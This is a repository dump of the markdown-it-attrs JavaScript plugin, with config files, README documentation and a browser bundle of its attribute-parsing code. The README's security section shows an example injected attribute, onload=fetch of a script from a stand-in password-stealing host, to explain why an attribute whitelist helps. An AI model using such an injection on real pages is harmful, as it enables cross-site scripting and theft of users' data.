├── .editorconfig ├── .eslintignore ├── .eslintrc.json ├── .gitattributes ├── .github └── workflows │ └── ci.yml ├── .gitignore ├── .npmignore ├── .travis.yml ├── .vscode └── launch.json ├── ISSUE_TEMPLATE.md ├── LICENSE ├── README.md ├── bower.json ├── debug.js ├── demo.js ├── index.js ├── markdown-it-attrs.browser.js ├── package-lock.json ├── package.json ├── patterns.js ├── test.js └── utils.js /.editorconfig: -------------------------------------------------------------------------------- 1 | root = true 2 | 3 | [*] 4 | indent_style = space 5 | end_of_line = lf 6 | charset = utf-8 7 | trim_trailing_whitespace = true 8 | insert_final_newline = true 9 | 10 | [{package.json,*.yml}] 11 | indent_style = space 12 | indent_size = 2 13 | 14 | [*.md] 15 | trim_trailing_whitespace = false 16 | -------------------------------------------------------------------------------- /.eslintignore: -------------------------------------------------------------------------------- 1 | markdown-it-attrs.browser.js 2 | -------------------------------------------------------------------------------- /.eslintrc.json: -------------------------------------------------------------------------------- 1 | { 2 | "env": { 3 | "node": true, 4 | "es6": true 5 | }, 6 | "globals": { 7 | "char": false 8 | }, 9 | "extends": [ "eslint:recommended" ], 10 | "rules": { 11 | "indent": [ 12 | "error", 13 | 2 14 | ], 15 | "linebreak-style": [ 16 | "error", 17 | "unix" 18 | ], 19 | "quotes": [ 20 | "error", 21 | "single" 22 | ], 23 | "semi": [ 24 | "error", 25 | "always" 26 | ], 27 | "no-shadow-restricted-names": "error", 28 | "no-shadow": [ 29 | "error", 30 | { "builtinGlobals": true } 31 | ], 32 | "no-var": "error", 33 | "prefer-const": "error", 34 | "no-else-return": "error", 35 | "default-case": "error", 36 | "consistent-return": "error", 37 | "no-restricted-syntax": [ 38 | "error", 39 | { 40 | "selector": "ForInStatement", 41 | "message": "for..in loops iterate over the entire prototype chain. Use Object.{keys,values,entries}." 42 | } 43 | ] 44 | } 45 | } 46 | -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | * text=auto eol=lf 2 | -------------------------------------------------------------------------------- /.github/workflows/ci.yml: -------------------------------------------------------------------------------- 1 | name: ci 2 | 3 | on: [push, pull_request] 4 | 5 | jobs: 6 | test: 7 | name: ${{ matrix.node-version }} on ${{ matrix.os }} 8 | strategy: 9 | fail-fast: false 10 | matrix: 11 | node-version: [16.x, 18.x, 20.x, 22.x] 12 | os: [ubuntu-latest, macOS-latest, windows-latest] 13 | runs-on: ${{ matrix.os }} 14 | 15 | steps: 16 | - if: runner.os == 'Windows' 17 | shell: bash 18 | run: | 19 | git config --global core.autocrlf false 20 | git config --global core.symlinks true 21 | - uses: actions/checkout@v4 22 | with: 23 | show-progress: false 24 | - name: v${{ matrix.node-version }} on ${{ matrix.os }} 25 | uses: actions/setup-node@v4 26 | with: 27 | node-version: ${{ matrix.node-version }} 28 | architecture: 'x64' 29 | cache: 'npm' 30 | - run: npm ci 31 | - run: npm test 32 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .nyc_output 3 | -------------------------------------------------------------------------------- /.npmignore: -------------------------------------------------------------------------------- 1 | /test.js 2 | /bower.json 3 | /.vscode 4 | /.nyc_output 5 | /ISSUE_TEMPLATE.md 6 | /.travis.yml 7 | /.eslintignore 8 | /.eslintrc.js 9 | /.eslintrc.json 10 | /.editorconfig 11 | /.gitignore 12 | /.github 13 | /.devcontainer 14 | /debug.js 15 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | language: node_js 2 | node_js: 3 | - 'lts/*' 4 | notifications: 5 | email: 6 | on_success: change 7 | on_failure: change 8 | after_success: npm run coverage 9 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "name": "Debug", 6 | "type": "node", 7 | "request": "launch", 8 | "program": "${workspaceRoot}/debug.js", 9 | "stopOnEntry": false, 10 | "args": [], 11 | "cwd": "${workspaceRoot}", 12 | "preLaunchTask": null, 13 | "runtimeExecutable": null, 14 | "runtimeArgs": [ 15 | "--nolazy" 16 | ], 17 | "env": { 18 | "NODE_ENV": "development" 19 | }, 20 | "console": "internalConsole", 21 | "sourceMaps": false, 22 | "outFiles": [] 23 | } 24 | ] 25 | } 26 | -------------------------------------------------------------------------------- /ISSUE_TEMPLATE.md: -------------------------------------------------------------------------------- 1 | This is an issue template. Fill in your problem description here, replacing this text. Below you should include examples. 2 | 3 | Markdown-it versions: 4 | 5 | ```bash 6 | # run this command and copy the output 7 | npm ls | grep markdown-it 8 | ``` 9 | 10 | Example input: 11 | 12 | ```md 13 | this is the markdown I'm trying to parse {.replace-me} 14 | ``` 15 | 16 | Current output: 17 | 18 | ```html 19 |
this is the markdown I'm trying to parse
20 | ``` 21 | 22 | Expected output: 23 | 24 | ```html 25 |this is the markdown I'm trying to parse
26 | ``` 27 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) Arve Seljebuparagraph
29 | ``` 30 | 31 | Works with inline elements too: 32 | ```md 33 | paragraph *style me*{.red} more text 34 | ``` 35 | 36 | Output: 37 | ```html 38 |paragraph style me more text
39 | ``` 40 | 41 | And fenced code blocks: 42 |
43 | ```python {data=asdf}
44 | nums = [x for x in range(10)]
45 | ```
46 |
47 |
48 | Output:
49 | ```html
50 |
51 | nums = [x for x in range(10)]
52 |
53 | ```
54 |
55 | You can use `..` as a short-hand for `css-module=`:
56 |
57 | ```md
58 | Use the css-module green on this paragraph. {..green}
59 | ```
60 |
61 | Output:
62 | ```html
63 | Use the css-module green on this paragraph.
64 | ``` 65 | 66 | Also works with spans, in combination with the [markdown-it-bracketed-spans](https://github.com/mb21/markdown-it-bracketed-spans) plugin (to be installed and loaded as such then): 67 | 68 | ```md 69 | paragraph with [a style me span]{.red} 70 | ``` 71 | 72 | Output: 73 | ```html 74 |paragraph with a style me span
75 | ``` 76 | 77 | ## Install 78 | 79 | ``` 80 | $ npm install --save markdown-it-attrs 81 | ``` 82 | 83 | ## Support 84 | Library is considered done from my part. I'm maintaining it with bug fixes and 85 | security updates. 86 | 87 | I'll approve pull requests that are easy to understand. Generally not willing 88 | merge pull requests that increase maintainance complexity. Feel free to open 89 | anyhow and I'll give my feedback. 90 | 91 | If you need some extra features, I'm available for hire. 92 | 93 | ## Usage 94 | 95 | ```js 96 | var md = require('markdown-it')(); 97 | var markdownItAttrs = require('markdown-it-attrs'); 98 | 99 | md.use(markdownItAttrs, { 100 | // optional, these are default options 101 | leftDelimiter: '{', 102 | rightDelimiter: '}', 103 | allowedAttributes: [] // empty array = all attributes are allowed 104 | }); 105 | 106 | var src = '# header {.green #id}\nsome text {with=attrs and="attrs with space"}'; 107 | var res = md.render(src); 108 | 109 | console.log(res); 110 | ``` 111 | 112 | [demo as jsfiddle](https://jsfiddle.net/arve0/hwy17omn/) 113 | 114 | 115 | ## Security 116 | A user may insert rogue attributes like this: 117 | ```js 118 | {onload=fetch('https://imstealingyourpasswords.com/script.js').then(...)} 119 | ``` 120 | 121 | If security is a concern, use an attribute whitelist: 122 | 123 | ```js 124 | md.use(markdownItAttrs, { 125 | allowedAttributes: ['id', 'class', /^regex.*$/] 126 | }); 127 | ``` 128 | 129 | Now only `id`, `class` and attributes beginning with `regex` are allowed: 130 | 131 | ```md 132 | text {#red .green regex=allowed onclick=alert('hello')} 133 | ``` 134 | 135 | Output: 136 | ```html 137 |text
138 | ``` 139 | 140 | ## Limitations 141 | markdown-it-attrs relies on markdown parsing in markdown-it, which means some 142 | special cases are not possible to fix. Like using `_` outside and inside 143 | attributes: 144 | 145 | ```md 146 | _i want [all of this](/link){target="_blank"} to be italics_ 147 | ``` 148 | 149 | Above example will render to: 150 | ```html 151 |_i want all of this{target="blank"} to be italics
152 | ``` 153 | 154 | ...which is probably not what you wanted. Of course, you could use `*` for 155 | italics to solve this parsing issue: 156 | 157 | ```md 158 | *i want [all of this](/link){target="_blank"} to be italics* 159 | ``` 160 | 161 | Output: 162 | ```html 163 |i want all of this to be italics
164 | ``` 165 | 166 | ## Ambiguity 167 | When class can be applied to both inline or block element, inline element will take precedence: 168 | ```md 169 | - list item **bold**{.red} 170 | ``` 171 | 172 | Output: 173 | ```html 174 |header1 | 241 |header2 | 242 |
---|---|
column1 | 247 |column2 | 248 |
A | 270 |B | 271 |C | 272 |D | 273 |
---|---|---|---|
1 | 278 |11 | 279 |111 | 280 |1111 | 281 |
2 | 284 |22 | 285 |||
3 | 288 |
'
308 | + '' + token.content + '
'
309 | + '
';
310 | }
311 |
312 | let src = [
313 | '',
314 | '```js {.abcd}',
315 | 'var a = 1;',
316 | '```'
317 | ].join('\n')
318 |
319 | console.log(md.render(src));
320 | ```
321 |
322 | Output:
323 | ```html
324 | var a = 1;
325 |
326 | ```
327 |
328 | Read more about [custom rendering at markdown-it](https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer).
329 |
330 |
331 | ## Custom blocks
332 | `markdown-it-attrs` will add attributes to any `token.block == true` with {}-curlies in end of `token.info`. For example, see [markdown-it/rules_block/fence.js](https://github.com/markdown-it/markdown-it/blob/760050edcb7607f70a855c97a087ad287b653d61/lib/rules_block/fence.js#L85) which [stores text after the three backticks in fenced code blocks to `token.info`](https://markdown-it.github.io/#md3=%7B%22source%22%3A%22%60%60%60js%20%7B.red%7D%5Cnfunction%20%28%29%20%7B%7D%5Cn%60%60%60%22%2C%22defaults%22%3A%7B%22html%22%3Afalse%2C%22xhtmlOut%22%3Afalse%2C%22breaks%22%3Afalse%2C%22langPrefix%22%3A%22language-%22%2C%22linkify%22%3Atrue%2C%22typographer%22%3Atrue%2C%22_highlight%22%3Atrue%2C%22_strict%22%3Afalse%2C%22_view%22%3A%22debug%22%7D%7D).
333 |
334 | Remember to [render attributes](https://github.com/arve0/markdown-it-attrs/blob/a75102ad571110659ce9545d184aa5658d2b4a06/index.js#L100) if you use a custom renderer.
335 |
336 | ## Custom delimiters
337 |
338 | To use different delimiters than the default, add configuration for `leftDelimiter` and `rightDelimiter`:
339 |
340 | ```js
341 | md.use(attrs, {
342 | leftDelimiter: '[',
343 | rightDelimiter: ']'
344 | });
345 | ```
346 |
347 | Which will render
348 |
349 | ```md
350 | # title [.large]
351 | ```
352 |
353 | as
354 |
355 | ```html
356 | {.c}
364 | tokens.splice(i + 1, 3); 365 | } 366 | }, { 367 | /** 368 | * | A | B | 369 | * | -- | -- | 370 | * | 1 | 2 | 371 | * 372 | * | C | D | 373 | * | -- | -- | 374 | * 375 | * only `| A | B |` sets the colsnum metadata 376 | */ 377 | name: 'tables thead metadata', 378 | tests: [{ 379 | shift: 0, 380 | type: 'tr_close' 381 | }, { 382 | shift: 1, 383 | type: 'thead_close' 384 | }, { 385 | shift: 2, 386 | type: 'tbody_open' 387 | }], 388 | transform: function transform(tokens, i) { 389 | var tr = utils.getMatchingOpeningToken(tokens, i); 390 | var th = tokens[i - 1]; 391 | var colsnum = 0; 392 | var n = i; 393 | while (--n) { 394 | if (tokens[n] === tr) { 395 | tokens[n - 1].meta = Object.assign({}, tokens[n + 2].meta, { 396 | colsnum: colsnum 397 | }); 398 | break; 399 | } 400 | colsnum += (tokens[n].level === th.level && tokens[n].type === th.type) >> 0; 401 | } 402 | tokens[i + 2].meta = Object.assign({}, tokens[i + 2].meta, { 403 | colsnum: colsnum 404 | }); 405 | } 406 | }, { 407 | /** 408 | * | A | B | C | D | 409 | * | -- | -- | -- | -- | 410 | * | 1 | 11 | 111 | 1111 {rowspan=3} | 411 | * | 2 {colspan=2 rowspan=2} | 22 | 222 | 2222 | 412 | * | 3 | 33 | 333 | 3333 | 413 | */ 414 | name: 'tables tbody calculate', 415 | tests: [{ 416 | shift: 0, 417 | type: 'tbody_close', 418 | hidden: false 419 | }], 420 | /** 421 | * @param {number} i index of the tbody ending 422 | */ 423 | transform: function transform(tokens, i) { 424 | /** index of the tbody beginning */ 425 | var idx = i - 2; 426 | while (idx > 0 && 'tbody_open' !== tokens[--idx].type); 427 | var calc = tokens[idx].meta.colsnum >> 0; 428 | if (calc < 2) { 429 | return; 430 | } 431 | var level = tokens[i].level + 2; 432 | for (var n = idx; n < i; n++) { 433 | if (tokens[n].level > level) { 434 | continue; 435 | } 436 | var token = tokens[n]; 437 | var rows = token.hidden ? 0 : token.attrGet('rowspan') >> 0; 438 | var cols = token.hidden ? 0 : token.attrGet('colspan') >> 0; 439 | if (rows > 1) { 440 | var colsnum = calc - (cols > 0 ? cols : 1); 441 | for (var k = n, num = rows; k < i, num > 1; k++) { 442 | if ('tr_open' == tokens[k].type) { 443 | tokens[k].meta = Object.assign({}, tokens[k].meta); 444 | if (tokens[k].meta && tokens[k].meta.colsnum) { 445 | colsnum -= 1; 446 | } 447 | tokens[k].meta.colsnum = colsnum; 448 | num--; 449 | } 450 | } 451 | } 452 | if ('tr_open' == token.type && token.meta && token.meta.colsnum) { 453 | var max = token.meta.colsnum; 454 | for (var _k = n, _num = 0; _k < i; _k++) { 455 | if ('td_open' == tokens[_k].type) { 456 | _num += 1; 457 | } else if ('tr_close' == tokens[_k].type) { 458 | break; 459 | } 460 | _num > max && (tokens[_k].hidden || hidden(tokens[_k])); 461 | } 462 | } 463 | if (cols > 1) { 464 | /** @type {number[]} index of one row's children */ 465 | var one = []; 466 | /** last index of the row's children */ 467 | var end = n + 3; 468 | /** number of the row's children */ 469 | var _num2 = calc; 470 | for (var _k2 = n; _k2 > idx; _k2--) { 471 | if ('tr_open' == tokens[_k2].type) { 472 | _num2 = tokens[_k2].meta && tokens[_k2].meta.colsnum || _num2; 473 | break; 474 | } else if ('td_open' === tokens[_k2].type) { 475 | one.unshift(_k2); 476 | } 477 | } 478 | for (var _k3 = n + 2; _k3 < i; _k3++) { 479 | if ('tr_close' == tokens[_k3].type) { 480 | end = _k3; 481 | break; 482 | } else if ('td_open' == tokens[_k3].type) { 483 | one.push(_k3); 484 | } 485 | } 486 | var off = one.indexOf(n); 487 | var real = _num2 - off; 488 | real = real > cols ? cols : real; 489 | cols > real && token.attrSet('colspan', real + ''); 490 | for (var _k4 = one.slice(_num2 + 1 - calc - real)[0]; _k4 < end; _k4++) { 491 | tokens[_k4].hidden || hidden(tokens[_k4]); 492 | } 493 | } 494 | } 495 | } 496 | }, { 497 | /** 498 | * *emphasis*{.with attrs=1} 499 | */ 500 | name: 'inline attributes', 501 | tests: [{ 502 | shift: 0, 503 | type: 'inline', 504 | children: [{ 505 | shift: -1, 506 | nesting: -1 // closing inline tag, {.a} 507 | }, { 508 | shift: 0, 509 | type: 'text', 510 | content: utils.hasDelimiters('start', options) 511 | }] 512 | }], 513 | /** 514 | * @param {!number} j 515 | */ 516 | transform: function transform(tokens, i, j) { 517 | var token = tokens[i].children[j]; 518 | var content = token.content; 519 | var attrs = utils.getAttrs(content, 0, options); 520 | var openingToken = utils.getMatchingOpeningToken(tokens[i].children, j - 1); 521 | utils.addAttrs(attrs, openingToken); 522 | token.content = content.slice(content.indexOf(options.rightDelimiter) + options.rightDelimiter.length); 523 | } 524 | }, { 525 | /** 526 | * - item 527 | * {.a} 528 | */ 529 | name: 'list softbreak', 530 | tests: [{ 531 | shift: -2, 532 | type: 'list_item_open' 533 | }, { 534 | shift: 0, 535 | type: 'inline', 536 | children: [{ 537 | position: -2, 538 | type: 'softbreak' 539 | }, { 540 | position: -1, 541 | type: 'text', 542 | content: utils.hasDelimiters('only', options) 543 | }] 544 | }], 545 | /** 546 | * @param {!number} j 547 | */ 548 | transform: function transform(tokens, i, j) { 549 | var token = tokens[i].children[j]; 550 | var content = token.content; 551 | var attrs = utils.getAttrs(content, 0, options); 552 | var ii = i - 2; 553 | while (tokens[ii - 1] && tokens[ii - 1].type !== 'ordered_list_open' && tokens[ii - 1].type !== 'bullet_list_open') { 554 | ii--; 555 | } 556 | utils.addAttrs(attrs, tokens[ii - 1]); 557 | tokens[i].children = tokens[i].children.slice(0, -2); 558 | } 559 | }, { 560 | /** 561 | * - nested list 562 | * - with double \n 563 | * {.a} <-- apply to nested ul 564 | * 565 | * {.b} <-- apply to root{.a}
tokens below 571 | shift: 0, 572 | type: function type(str) { 573 | return str === 'bullet_list_close' || str === 'ordered_list_close'; 574 | } 575 | }, { 576 | shift: 1, 577 | type: 'paragraph_open' 578 | }, { 579 | shift: 2, 580 | type: 'inline', 581 | content: utils.hasDelimiters('only', options), 582 | children: function children(arr) { 583 | return arr.length === 1; 584 | } 585 | }, { 586 | shift: 3, 587 | type: 'paragraph_close' 588 | }], 589 | transform: function transform(tokens, i) { 590 | var token = tokens[i + 2]; 591 | var content = token.content; 592 | var attrs = utils.getAttrs(content, 0, options); 593 | var openingToken = utils.getMatchingOpeningToken(tokens, i); 594 | utils.addAttrs(attrs, openingToken); 595 | tokens.splice(i + 1, 3); 596 | } 597 | }, { 598 | /** 599 | * - end of {.list-item} 600 | */ 601 | name: 'list item end', 602 | tests: [{ 603 | shift: -2, 604 | type: 'list_item_open' 605 | }, { 606 | shift: 0, 607 | type: 'inline', 608 | children: [{ 609 | position: -1, 610 | type: 'text', 611 | content: utils.hasDelimiters('end', options) 612 | }] 613 | }], 614 | /** 615 | * @param {!number} j 616 | */ 617 | transform: function transform(tokens, i, j) { 618 | var token = tokens[i].children[j]; 619 | var content = token.content; 620 | var attrs = utils.getAttrs(content, content.lastIndexOf(options.leftDelimiter), options); 621 | utils.addAttrs(attrs, tokens[i - 2]); 622 | var trimmed = content.slice(0, content.lastIndexOf(options.leftDelimiter)); 623 | token.content = last(trimmed) !== ' ' ? trimmed : trimmed.slice(0, -1); 624 | } 625 | }, { 626 | /** 627 | * something with softbreak 628 | * {.cls} 629 | */ 630 | name: '\n{.a} softbreak then curly in start', 631 | tests: [{ 632 | shift: 0, 633 | type: 'inline', 634 | children: [{ 635 | position: -2, 636 | type: 'softbreak' 637 | }, { 638 | position: -1, 639 | type: 'text', 640 | content: utils.hasDelimiters('only', options) 641 | }] 642 | }], 643 | /** 644 | * @param {!number} j 645 | */ 646 | transform: function transform(tokens, i, j) { 647 | var token = tokens[i].children[j]; 648 | var attrs = utils.getAttrs(token.content, 0, options); 649 | // find last closing tag 650 | var ii = i + 1; 651 | while (tokens[ii + 1] && tokens[ii + 1].nesting === -1) { 652 | ii++; 653 | } 654 | var openingToken = utils.getMatchingOpeningToken(tokens, ii); 655 | utils.addAttrs(attrs, openingToken); 656 | tokens[i].children = tokens[i].children.slice(0, -2); 657 | } 658 | }, { 659 | /** 660 | * horizontal rule --- {#id} 661 | */ 662 | name: 'horizontal rule', 663 | tests: [{ 664 | shift: 0, 665 | type: 'paragraph_open' 666 | }, { 667 | shift: 1, 668 | type: 'inline', 669 | children: function children(arr) { 670 | return arr.length === 1; 671 | }, 672 | content: function content(str) { 673 | return str.match(__hr) !== null; 674 | } 675 | }, { 676 | shift: 2, 677 | type: 'paragraph_close' 678 | }], 679 | transform: function transform(tokens, i) { 680 | var token = tokens[i]; 681 | token.type = 'hr'; 682 | token.tag = 'hr'; 683 | token.nesting = 0; 684 | var content = tokens[i + 1].content; 685 | var start = content.lastIndexOf(options.leftDelimiter); 686 | var attrs = utils.getAttrs(content, start, options); 687 | utils.addAttrs(attrs, token); 688 | token.markup = content; 689 | tokens.splice(i + 1, 2); 690 | } 691 | }, { 692 | /** 693 | * end of {.block} 694 | */ 695 | name: 'end of block', 696 | tests: [{ 697 | shift: 0, 698 | type: 'inline', 699 | children: [{ 700 | position: -1, 701 | content: utils.hasDelimiters('end', options), 702 | type: function type(t) { 703 | return t !== 'code_inline' && t !== 'math_inline'; 704 | } 705 | }] 706 | }], 707 | /** 708 | * @param {!number} j 709 | */ 710 | transform: function transform(tokens, i, j) { 711 | var token = tokens[i].children[j]; 712 | var content = token.content; 713 | var attrs = utils.getAttrs(content, content.lastIndexOf(options.leftDelimiter), options); 714 | var ii = i + 1; 715 | do if (tokens[ii] && tokens[ii].nesting === -1) { 716 | break; 717 | } while (ii++ < tokens.length); 718 | var openingToken = utils.getMatchingOpeningToken(tokens, ii); 719 | utils.addAttrs(attrs, openingToken); 720 | var trimmed = content.slice(0, content.lastIndexOf(options.leftDelimiter)); 721 | token.content = last(trimmed) !== ' ' ? trimmed : trimmed.slice(0, -1); 722 | } 723 | }]; 724 | }; 725 | 726 | // get last element of array or string 727 | function last(arr) { 728 | return arr.slice(-1)[0]; 729 | } 730 | 731 | /** 732 | * Hidden table's cells and them inline children, 733 | * specially cast inline's content as empty 734 | * to prevent that escapes the table's box model 735 | * @see https://github.com/markdown-it/markdown-it/issues/639 736 | * @param {import('.').Token} token 737 | */ 738 | function hidden(token) { 739 | token.hidden = true; 740 | token.children && token.children.forEach(function (t) { 741 | return t.content = '', hidden(t), undefined; 742 | }); 743 | } 744 | 745 | },{"./utils.js":3}],3:[function(require,module,exports){ 746 | "use strict"; 747 | 748 | /** 749 | * @typedef {import('.').Token} Token 750 | * @typedef {import('.').Options} Options 751 | * @typedef {import('.').AttributePair} AttributePair 752 | * @typedef {import('.').AllowedAttribute} AllowedAttribute 753 | * @typedef {import('.').DetectingStrRule} DetectingStrRule 754 | */ 755 | /** 756 | * parse {.class #id key=val} strings 757 | * @param {string} str: string to parse 758 | * @param {number} start: where to start parsing (including {) 759 | * @param {Options} options 760 | * @returns {AttributePair[]}: [['key', 'val'], ['class', 'red']] 761 | */ 762 | exports.getAttrs = function (str, start, options) { 763 | // not tab, line feed, form feed, space, solidus, greater than sign, quotation mark, apostrophe and equals sign 764 | var allowedKeyChars = /[^\t\n\f />"'=]/; 765 | var pairSeparator = ' '; 766 | var keySeparator = '='; 767 | var classChar = '.'; 768 | var idChar = '#'; 769 | var attrs = []; 770 | var key = ''; 771 | var value = ''; 772 | var parsingKey = true; 773 | var valueInsideQuotes = false; 774 | 775 | // read inside {} 776 | // start + left delimiter length to avoid beginning { 777 | // breaks when } is found or end of string 778 | for (var i = start + options.leftDelimiter.length; i < str.length; i++) { 779 | if (str.slice(i, i + options.rightDelimiter.length) === options.rightDelimiter) { 780 | if (key !== '') { 781 | attrs.push([key, value]); 782 | } 783 | break; 784 | } 785 | var char_ = str.charAt(i); 786 | 787 | // switch to reading value if equal sign 788 | if (char_ === keySeparator && parsingKey) { 789 | parsingKey = false; 790 | continue; 791 | } 792 | 793 | // {.class} {..css-module} 794 | if (char_ === classChar && key === '') { 795 | if (str.charAt(i + 1) === classChar) { 796 | key = 'css-module'; 797 | i += 1; 798 | } else { 799 | key = 'class'; 800 | } 801 | parsingKey = false; 802 | continue; 803 | } 804 | 805 | // {#id} 806 | if (char_ === idChar && key === '') { 807 | key = 'id'; 808 | parsingKey = false; 809 | continue; 810 | } 811 | 812 | // {value="inside quotes"} 813 | if (char_ === '"' && value === '' && !valueInsideQuotes) { 814 | valueInsideQuotes = true; 815 | continue; 816 | } 817 | if (char_ === '"' && valueInsideQuotes) { 818 | valueInsideQuotes = false; 819 | continue; 820 | } 821 | 822 | // read next key/value pair 823 | if (char_ === pairSeparator && !valueInsideQuotes) { 824 | if (key === '') { 825 | // beginning or ending space: { .red } vs {.red} 826 | continue; 827 | } 828 | attrs.push([key, value]); 829 | key = ''; 830 | value = ''; 831 | parsingKey = true; 832 | continue; 833 | } 834 | 835 | // continue if character not allowed 836 | if (parsingKey && char_.search(allowedKeyChars) === -1) { 837 | continue; 838 | } 839 | 840 | // no other conditions met; append to key/value 841 | if (parsingKey) { 842 | key += char_; 843 | continue; 844 | } 845 | value += char_; 846 | } 847 | if (options.allowedAttributes && options.allowedAttributes.length) { 848 | var allowedAttributes = options.allowedAttributes; 849 | return attrs.filter(function (attrPair) { 850 | var attr = attrPair[0]; 851 | 852 | /** 853 | * @param {AllowedAttribute} allowedAttribute 854 | */ 855 | function isAllowedAttribute(allowedAttribute) { 856 | return attr === allowedAttribute || allowedAttribute instanceof RegExp && allowedAttribute.test(attr); 857 | } 858 | return allowedAttributes.some(isAllowedAttribute); 859 | }); 860 | } 861 | return attrs; 862 | }; 863 | 864 | /** 865 | * add attributes from [['key', 'val']] list 866 | * @param {AttributePair[]} attrs: [['key', 'val']] 867 | * @param {Token} token: which token to add attributes 868 | * @returns token 869 | */ 870 | exports.addAttrs = function (attrs, token) { 871 | for (var j = 0, l = attrs.length; j < l; ++j) { 872 | var key = attrs[j][0]; 873 | if (key === 'class') { 874 | token.attrJoin('class', attrs[j][1]); 875 | } else if (key === 'css-module') { 876 | token.attrJoin('css-module', attrs[j][1]); 877 | } else { 878 | token.attrPush(attrs[j]); 879 | } 880 | } 881 | return token; 882 | }; 883 | 884 | /** 885 | * Does string have properly formatted curly? 886 | * 887 | * start: '{.a} asdf' 888 | * end: 'asdf {.a}' 889 | * only: '{.a}' 890 | * 891 | * @param {'start'|'end'|'only'} where to expect {} curly. start, end or only. 892 | * @param {Options} options 893 | * @return {DetectingStrRule} Function which testes if string has curly. 894 | */ 895 | exports.hasDelimiters = function (where, options) { 896 | if (!where) { 897 | throw new Error('Parameter `where` not passed. Should be "start", "end" or "only".'); 898 | } 899 | 900 | /** 901 | * @param {string} str 902 | * @return {boolean} 903 | */ 904 | return function (str) { 905 | // we need minimum three chars, for example {b} 906 | var minCurlyLength = options.leftDelimiter.length + 1 + options.rightDelimiter.length; 907 | if (!str || typeof str !== 'string' || str.length < minCurlyLength) { 908 | return false; 909 | } 910 | 911 | /** 912 | * @param {string} curly 913 | */ 914 | function validCurlyLength(curly) { 915 | var isClass = curly.charAt(options.leftDelimiter.length) === '.'; 916 | var isId = curly.charAt(options.leftDelimiter.length) === '#'; 917 | return isClass || isId ? curly.length >= minCurlyLength + 1 : curly.length >= minCurlyLength; 918 | } 919 | var start, end, slice, nextChar; 920 | var rightDelimiterMinimumShift = minCurlyLength - options.rightDelimiter.length; 921 | switch (where) { 922 | case 'start': 923 | // first char should be {, } found in char 2 or more 924 | slice = str.slice(0, options.leftDelimiter.length); 925 | start = slice === options.leftDelimiter ? 0 : -1; 926 | end = start === -1 ? -1 : str.indexOf(options.rightDelimiter, rightDelimiterMinimumShift); 927 | // check if next character is not one of the delimiters 928 | nextChar = str.charAt(end + options.rightDelimiter.length); 929 | if (nextChar && options.rightDelimiter.indexOf(nextChar) !== -1) { 930 | end = -1; 931 | } 932 | break; 933 | case 'end': 934 | // last char should be } 935 | start = str.lastIndexOf(options.leftDelimiter); 936 | end = start === -1 ? -1 : str.indexOf(options.rightDelimiter, start + rightDelimiterMinimumShift); 937 | end = end === str.length - options.rightDelimiter.length ? end : -1; 938 | break; 939 | case 'only': 940 | // '{.a}' 941 | slice = str.slice(0, options.leftDelimiter.length); 942 | start = slice === options.leftDelimiter ? 0 : -1; 943 | slice = str.slice(str.length - options.rightDelimiter.length); 944 | end = slice === options.rightDelimiter ? str.length - options.rightDelimiter.length : -1; 945 | break; 946 | default: 947 | throw new Error("Unexpected case ".concat(where, ", expected 'start', 'end' or 'only'")); 948 | } 949 | return start !== -1 && end !== -1 && validCurlyLength(str.substring(start, end + options.rightDelimiter.length)); 950 | }; 951 | }; 952 | 953 | /** 954 | * Removes last curly from string. 955 | * @param {string} str 956 | * @param {Options} options 957 | */ 958 | exports.removeDelimiter = function (str, options) { 959 | var start = escapeRegExp(options.leftDelimiter); 960 | var end = escapeRegExp(options.rightDelimiter); 961 | var curly = new RegExp('[ \\n]?' + start + '[^' + start + end + ']+' + end + '$'); 962 | var pos = str.search(curly); 963 | return pos !== -1 ? str.slice(0, pos) : str; 964 | }; 965 | 966 | /** 967 | * Escapes special characters in string s such that the string 968 | * can be used in `new RegExp`. For example "[" becomes "\\[". 969 | * 970 | * @param {string} s Regex string. 971 | * @return {string} Escaped string. 972 | */ 973 | function escapeRegExp(s) { 974 | return s.replace(/[-/\\^$*+?.()|[\]{}]/g, '\\$&'); 975 | } 976 | exports.escapeRegExp = escapeRegExp; 977 | 978 | /** 979 | * find corresponding opening block 980 | * @param {Token[]} tokens 981 | * @param {number} i 982 | */ 983 | exports.getMatchingOpeningToken = function (tokens, i) { 984 | if (tokens[i].type === 'softbreak') { 985 | return false; 986 | } 987 | // non closing blocks, example img 988 | if (tokens[i].nesting === 0) { 989 | return tokens[i]; 990 | } 991 | var level = tokens[i].level; 992 | var type = tokens[i].type.replace('_close', '_open'); 993 | for (; i >= 0; --i) { 994 | if (tokens[i].type === type && tokens[i].level === level) { 995 | return tokens[i]; 996 | } 997 | } 998 | return false; 999 | }; 1000 | 1001 | /** 1002 | * from https://github.com/markdown-it/markdown-it/blob/master/lib/common/utils.js 1003 | */ 1004 | var HTML_ESCAPE_TEST_RE = /[&<>"]/; 1005 | var HTML_ESCAPE_REPLACE_RE = /[&<>"]/g; 1006 | var HTML_REPLACEMENTS = { 1007 | '&': '&', 1008 | '<': '<', 1009 | '>': '>', 1010 | '"': '"' 1011 | }; 1012 | 1013 | /** 1014 | * @param {string} ch 1015 | * @returns {string} 1016 | */ 1017 | function replaceUnsafeChar(ch) { 1018 | return HTML_REPLACEMENTS[ch]; 1019 | } 1020 | 1021 | /** 1022 | * @param {string} str 1023 | * @returns {string} 1024 | */ 1025 | exports.escapeHtml = function (str) { 1026 | if (HTML_ESCAPE_TEST_RE.test(str)) { 1027 | return str.replace(HTML_ESCAPE_REPLACE_RE, replaceUnsafeChar); 1028 | } 1029 | return str; 1030 | }; 1031 | 1032 | },{}]},{},[1])(1) 1033 | }); 1034 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "markdown-it-attrs", 3 | "version": "4.3.0", 4 | "description": "Add classes, identifiers and attributes to your markdown with {} curly brackets, similar to pandoc's header attributes", 5 | "main": "index.js", 6 | "license": "MIT", 7 | "repository": "arve0/markdown-it-attrs", 8 | "author": { 9 | "name": "Arve Seljebu", 10 | 